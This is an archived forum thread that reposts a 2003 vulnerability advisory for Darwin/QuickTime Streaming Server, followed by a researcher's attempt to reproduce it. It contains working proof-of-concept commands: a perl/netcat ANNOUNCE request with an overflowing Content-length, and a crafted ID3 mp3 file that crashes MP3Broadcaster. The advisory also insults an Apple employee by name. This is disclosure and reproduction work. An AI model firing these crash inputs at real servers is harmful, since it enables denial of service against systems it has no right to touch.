PDA

Bekijk Volledige Versie : QuickTime/Darwin Streaming Server security issues



Sir Mordred
23/05/03, 00:20
// @(#)Security advisory: QuickTime/Darwin Streaming server security issues

Release date: May 22, 2003
Name: QuickTime/Darwin Streaming server security issues
Author: Sir Mordred (mordred@s-mail.com)

I. DESCRIPTION

Darwin Streaming Server (DSS) is server technology which allows
you to send streaming QuickTime data to clients across the Internet using
the industry standard RTP and RTSP protocols.
It is based on the same code as Apple's QuickTime Streaming Server.
Please visit http://developer.apple.com/darwin/projects/streaming/ for more
information about DSS.

II. DETAILS

* ISSUE 1 - Integer overflow in QTSSReflector module

Integer overflow exists in ANNOUNCE request parsing routine:

$ perl -e 'print "ANNOUNCE /.sdp RTSP/1.0\nContent-length:4294967295\n\n",
"A"x8192' | nc -v localhost 554
localhost [127.0.0.1] 554 (rtsp) open
too many output retries : Broken pipe

* ISSUE 2 - Integer handling vulnerability in MP3Broadcaster utility

MP3Broadcaster utility which is shipped with DSS, suffers from integer
handling vulnerability in ID3 tags parsing routines.
Below are the steps how to reproduce the issue:

First create the sample configuration file:
$ echo -e "\n" > test.conf

Then create a playlist file:
$ echo -e "*PLAY-LIST*\nsong.mp3" > mp3playlist.ply

Create a specially crafted mp3 file:
$ echo -e
"ID3\x03\x00\x00\x00\x00\x0f\x0fTPE1\xff\xaa\xaa\xb b\x00\x00\x00\x00\x00\x00

" > song.mp3

Now, when the user tries to check his mp3 files (-X option):
$ MP3Broadcaster -X -l mp3playlist.ply -c test.conf

Configuration Settings
--------------------------
....
play_mode sequential
playlist_file mp3playlist.ply
....

There is one movie in the Playlist.

Segmentation fault (core dumped)

III. VERSIONS TESTED

Linux RedHat 7.2 with DSS 4.1.3

$ echo -ne "OPTIONS * RTSP/1.0\nCseq: 1\n\n" | nc localhost 554
RTSP/1.0 200 OK
Server: DSS/4.1.3 (Build/412.45; Platform/Linux)
Cseq: 1
Public: DESCRIBE, SETUP, TEARDOWN, PLAY, PAUSE, ANNOUNCE,
SET_PARAMETER,RECORD

IV. VENDOR STATUS

The emails have been sent to product-security@apple.com,
streaming-server-developers@lists.apple.com and after a bit of waiting got
rather interesting answer from Joel Hedden <jhedden@apple.com>:

<quote>
Please correct us if this is wrong:
1. The bugs are only DoS attacks and cannot be used to breach security of
the host machine, run arbitrary code, etc.
2. Neither bug is remotely exploitable unless the administrator has
enabled
unauthenticated remote broadcasts (which is not likely).
</quote>

I think both of the "bugs" can be used to "breach security of the host
machine, run arbitrary code, etc"...
After receiving response from Apple just decided to publish the advisory a
bit earlier then i planned.

V. CREDITS

Credits go to:

Sir Mordred <mordred@s-mail.com> who discovered the issues.
Joel Hedden <jhedden@apple.com> who is dumb enough not to understand them.




__________________________________________________ ______________________
This letter has been delivered unencrypted. We'd like to remind you that
the full protection of e-mail correspondence is provided by S-mail
encryption mechanisms if only both, Sender and Recipient use S-mail.
Register at S-mail.com: http://www.s-mail.com

Joe Testa
23/05/03, 23:20
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Greetings.

I'm having trouble reproducing this vulnerability as well. See below:


[jdog@wonderland jdog]$ cat /etc/redhat-release
jdog's Super Tricked-out Red Hat Linux release 8.0 (Psyche)
[jdog@wonderland jdog]$ echo -ne "OPTIONS * RTSP/1.0\nCseq: 1\n\n" | nc
localhost 554
RTSP/1.0 200 OK
Server: DSS/4.1.3 (Build/412.45; Platform/Linux)
Cseq: 1
Public: DESCRIBE, SETUP, TEARDOWN, PLAY, PAUSE, ANNOUNCE, SET_PARAMETER, RECORD


It takes a few tries against *localhost* to notice the adverse effects:


[jdog@wonderland jdog]$ perl -e 'print "ANNOUNCE /.sdp RTSP/1.0\nContent-
length:4294967295\n\n", "A"x8192' | nc -v localhost 554
localhost.localdomain [127.0.0.1] 554 (rtsp) open
[jdog@wonderland jdog]$ perl -e 'print "ANNOUNCE /.sdp RTSP/1.0\nContent-
length:4294967295\n\n", "A"x8192' | nc -v localhost 554
localhost.localdomain [127.0.0.1] 554 (rtsp) open
[jdog@wonderland jdog]$ perl -e 'print "ANNOUNCE /.sdp RTSP/1.0\nContent-
length:4294967295\n\n", "A"x8192' | nc -v localhost 554
localhost.localdomain [127.0.0.1] 554 (rtsp) open
[jdog@wonderland jdog]$ perl -e 'print "ANNOUNCE /.sdp RTSP/1.0\nContent-
length:4294967295\n\n", "A"x8192' | nc -v localhost 554
localhost.localdomain [127.0.0.1] 554 (rtsp) open
[jdog@wonderland jdog]$ perl -e 'print "ANNOUNCE /.sdp RTSP/1.0\nContent-
length:4294967295\n\n", "A"x8192' | nc -v localhost 554
localhost.localdomain [127.0.0.1] 554 (rtsp) : Connection refused


However, the port always remains open when I use the external IP address,
no matter how many times I run the example exploit:


[jdog@wonderland jdog]$ perl -e 'print "ANNOUNCE /.sdp RTSP/1.0\nContent-
length:4294967295\n\n", "A"x8192' | nc -v 192.168.x.x 554
192.168.x.x: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.x.x] 554 (rtsp) open
RTSP/1.0 401 Unauthorized
Server: DSS/4.1.3 (Build/412.45; Platform/Linux)
Cseq:
WWW-Authenticate: Digest realm="Streaming Server", nonce="a4a1975c2b5c8e3fa
557e1f3d486e5a1"

RTSP/1.0 400 Bad Request
Server: DSS/4.1.3 (Build/412.45; Platform/Linux)
Cseq:
Connection: Close

punt!
[jdog@wonderland jdog]$ perl -e 'print "ANNOUNCE /.sdp RTSP/1.0\nContent-
length:4294967295\n\n", "A"x8192' | nc -v 192.168.x.x 554
192.168.x.x: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.x.x] 554 (rtsp) open
RTSP/1.0 401 Unauthorized
Server: DSS/4.1.3 (Build/412.45; Platform/Linux)
Cseq:
WWW-Authenticate: Digest realm="Streaming Server", nonce="eb9cc1d1fb4674ad
f37cef319d38fc4d"

RTSP/1.0 400 Bad Request
Server: DSS/4.1.3 (Build/412.45; Platform/Linux)
Cseq:
Connection: Close

punt!
[jdog@wonderland jdog]$


So, given the exploit code given in the original advisory for this issue,
it appears as though Quicktime Streaming Server is only vulnerable from
localhost.
Perhaps this was the trouble Apple was having? Or am I missing something
also?

- Joe

P.S. Read my blog!: http://curseddestiny.blogspot.com/


- Joe Testa, Rapid 7, Inc.
http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xC6E50EDC
3691 6B1D 4813 DEA2 D18C 202D 0563 DB41 C6E5 0EDC


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (OpenVMS)

iD8DBQE+ziz1BWPbQcblDtwRAoDPAKDJ/Mmwi1QOJvaGgcVN0h1XeywkQQCglgs2
MzpK6ok04PtnuRscEXlVe3M=
=H0M8
-----END PGP SIGNATURE-----